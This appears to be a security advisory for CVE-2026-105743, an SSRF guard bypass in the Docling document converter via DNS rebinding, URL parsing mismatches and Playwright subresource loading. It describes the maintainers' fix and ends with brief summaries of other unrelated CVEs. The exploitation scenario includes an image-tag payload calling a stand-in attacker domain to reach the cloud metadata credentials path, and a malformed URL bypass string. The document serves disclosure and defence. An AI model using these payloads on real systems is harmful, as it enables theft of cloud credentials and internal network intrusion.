Oct 8, 2026·6 min read·19 visits
Unauthenticated Server-Side Request Forgery (SSRF) bypass in Docling via DNS Rebinding, URL parsing inconsistencies, and Playwright subresource fetching, allowing internal resource scanning and AWS metadata exfiltration.
An SSRF guard bypass vulnerability in the Docling document conversion engine allows unauthenticated attackers to bypass internal IP access controls. The vulnerability exists due to a DNS rebinding Time-of-Check Time-of-Use (TOCTOU) condition, URL authority parsing inconsistencies, and unvalidated network requests triggered during headless browser page rendering.
The Docling document conversion engine, maintained under the Docling Project, is designed to parse complex document formats like PDF, DOCX, and HTML, converting them into machine-readable structures optimized for LLMs and AI pipelines. When parsing documents, Docling supports downloading remote resources (such as embedded images and assets) and rendering dynamic HTML templates. This network functionality introduces an attack surface that must be strictly isolated to prevent access to the host's internal network infrastructure.
To restrict outgoing connections, Docling implemented safety checks designed to block requests targeting local interfaces, loopback addresses, private networks, and link-local ranges. This validation process was primarily managed by the validate_url_safety utility within the resource loader. However, design flaws within the validation mechanism, structural mismatches in external URL parsers, and unconstrained headless browser subresource loading allowed attackers to bypass these restrictions.
The vulnerability is classified under CWE-918 (Server-Side Request Forgery) and CWE-367 (Time-of-Check to Time-of-Use Race Condition). By exploiting this flaw, attackers can force the server to query internal networks, perform port scanning, interact with unauthenticated local administrative APIs, or access cloud provider metadata endpoints (such as AWS IMDS).
The root cause of this vulnerability lies in the division between the validation step and the connection initialization step, creating three primary exploitation vectors.
The safety guard validate_url_safety resolved the target URL's hostname using Python's standard socket.gethostbyname(). It checked if the resulting IP was a private or restricted address. If the IP was public, validation succeeded. However, when the client connection was subsequently established using the requests library, urllib3 executed an entirely separate DNS resolution request via the operating system's resolver. This gap between the validation (Time-of-Check) and the actual fetch (Time-of-Use) allowed an attacker-controlled DNS nameserver to return a public IP address during the validation phase, and immediately return a private loopback or link-local IP (such as 127.0.0.1 or 169.254.169.254) when the client initiated the TCP handshake.
There was an authority parsing disagreement between Python's built-in urllib.parse module and the HTTP parsing engine within requests/urllib3. For example, a malformed URL incorporating backslashes within the authority section, such as http://127.0.0.1:8080\\@1.1.1.1/, was parsed by urllib.parse as having the host 1.1.1.1 (which is a valid public IP). Conversely, when urllib3 processed the connection, it parsed the authority boundaries differently, stripped the backslashes, and established a direct connection to 127.0.0.1:8080. This allowed malformed input to pass the safety check while still connecting to restricted internal targets.
When Docling rendered dynamic HTML pages using Playwright (Chromium) via HTMLBackendOptions(render_page=True), the browser instance was allowed to query subresources (such as images, stylesheets, and scripts) over active HTTP/HTTPS connections. While static image URLs resolved directly in Python went through validation filters, Playwright's outgoing browser requests were unconstrained. This allowed the browser to establish direct TCP connections to internal endpoints while parsing malicious HTML templates, completely bypassing the Python-based URL validation layer.
To resolve the DNS rebinding window, the maintainers implemented single-resolution pinning. The hostname is resolved exactly once during the validation stage using a wrapper around socket.getaddrinfo. The connection pool is then pinned directly to this validated IP literal, ensuring that no secondary DNS resolution can be performed during the connection phase. For HTTPS connections, server hostname verification and SNI headers are injected manually to preserve TLS authenticity without triggering further lookups.
To prevent the Playwright browser bypass, the browser is placed strictly in offline mode (offline=True). Network request routing is intercept-mapped back to the secure Python adapter using Playwright's interception framework:
# Intercept Playwright requests and route them through the secure Python fetcher
async def _route_request(route: Route) -> None:
url = route.request.url
try:
# Outgoing requests are checked against the exact same single-resolution adapter
response_data = await fetch_remote_with_pinning(url)
await route.fulfill(status=200, body=response_data)
except Exception:
await route.abort("failed")This ensures that all browser-driven subresource lookups undergo the identical strict validation checks applied to standalone image requests, mitigating both DNS rebinding and parser bypass vectors.
An attacker can exploit this vulnerability to extract AWS EC2 or Kubernetes metadata credentials. This attack scenario requires the Docling service to run on an environment where enable_remote_fetch is enabled, and where the host has access to local cloud service endpoints.
The attacker configures a custom nameserver for a domain under their control (e.g., rebind.attacker.test). The DNS daemon is configured to rotate its responses based on query history:
93.184.216.34 (Example public address).169.254.169.254 (AWS IMDSv1 Endpoint).The attacker submits a document payload containing an external resource source designed to trigger a backend retrieve action:
<img src="http://rebind.attacker.test/latest/meta-data/iam/security-credentials/admin-role" />When Docling receives this payload, it calls the validate_url_safety routine, which queries rebind.attacker.test. The DNS server returns the public IP address 93.184.216.34. The validation engine checks this address, determines that it resides in a globally routable range, and passes the validation step.
Immediately following validation, the requests HTTP engine initiates a TCP connection to the same URL. Because urllib3 performs its own host resolution, a second DNS query is sent to rebind.attacker.test. This second response returns 169.254.169.254. The HTTP client establishes a connection to the internal cloud metadata service and retrieves the local IAM role security credentials, exposing them to the execution context.
The security impact of CVE-2026-105743 is assessed as Medium (CVSS 4.0). Under normal configurations, the vulnerability does not lead directly to remote code execution (RCE) on the host machine. However, the exact impact depends on the environment hosting the Docling document conversion engine.
If Docling is deployed in cloud-native environments (such as Amazon Web Services, Google Cloud Platform, or Microsoft Azure), an attacker can fetch instance metadata. This access allows the recovery of temporary identity credentials, potentially facilitating privilege escalation to external cloud infrastructure if permissions are overly permissive.
Additionally, the ability to bypass the internal IP isolation boundaries allows attackers to execute an internal port scan. Host-local databases, key-value stores (such as Redis or Memcached), and microservices running on administrative interfaces (like Kubernetes Kubelet APIs) can be accessed and mapped through blind SSRF vectors or visual rendering techniques.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
docling docling-project | >= 2.91.0, < 2.132.0 | 2.132.0 |
docling-slim docling-project | >= 2.91.0, < 2.132.0 | 2.132.0 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-105743 |
| CWE ID | CWE-918 (Server-Side Request Forgery), CWE-367 (TOCTOU) |
| CVSS Base Score | 4.0 (Medium) |
| Attack Vector | Network (AV:N) |
| Attack Complexity | High (AC:H) |
| Exploit Status | Proof of Concept (PoC) |
| CISA KEV Status | Not Listed |
The web application fetches a remote resource without sufficiently validating the destination URI.
CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.
The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.
CVE-2026-126304 is a symlink path traversal vulnerability (CWE-59) in the Natural Language Toolkit (NLTK) versions 3.10.0 prior to 3.10.4. The YCOECorpusReader class constructs internal sub-readers for the 'psd' and 'pos' subdirectories using FileSystemPathPointer.join(), which relies exclusively on lexical string-prefix validation rather than canonical path resolution. An attacker who supplies a crafted YCOE corpus containing symbolic links in place of the 'psd' or 'pos' subdirectories can bypass directory confinement and read arbitrary files from sibling corpora or sensitive directories within the NLTK data sandbox.
CVE-2026-128077 (GHSA-r99w-jh2x-3mg9) is an authorization bypass and interpretation conflict vulnerability affecting Nuxt and its underlying @nuxt/nitro-server package in versions 4.6.0 through 4.6.3. When an incoming HTTP request path begins with a double forward slash (e.g., //x/admin), the WHATWG URL parser within the Nuxt server-side page renderer interprets the initial segment as a network host/authority and resolves the remaining path (/admin) against the application's page router. Because Nitro server middleware, route-scoped serverHandlers, and Nitro routeRules evaluate the unparsed request path (//x/admin), path-based access controls, redirects, and security header policies configured for /admin fail to match and are bypassed.
Prior to version 2.10.2, the sqlite3-ruby gem explicitly cast 64-bit Ruby string lengths (long) to 32-bit signed integers (int) when invoking the underlying SQLite C API. On 64-bit platforms, providing a string of 4 GiB (2^32 bytes) or larger causes integer truncation, instructing SQLite to process only a prefix of the string. This flaw affects SQL query preparation, bound parameter values, and return values from custom Ruby-defined SQL functions and aggregates, allowing trailing SQL clauses such as WHERE restrictions to be silently dropped under specific conditions.
CVE-2026-128068 (GHSA-cpgf-5mjf-73p7) is a Regular Expression Denial of Service (ReDoS) vulnerability in the rails-html-sanitizer Ruby gem affecting versions 1.0.3 through 1.7.1. The flaw resides in the Rails::HTML::PermitScrubber#scrub_attribute method, which uses the multiline regular expression /^\s*[^#\s].*/m to enforce local-only URI fragment references on SVG elements. On Ruby runtimes prior to version 3.2 (CRuby <= 3.1 and JRuby), evaluating an attribute value composed of repeated newline and whitespace characters without a hash character triggers quadratic backtracking O(n^2). Applications are only vulnerable if their sanitization allowlist is explicitly configured to permit SVG reference elements such as <use> alongside href or xlink:href attributes.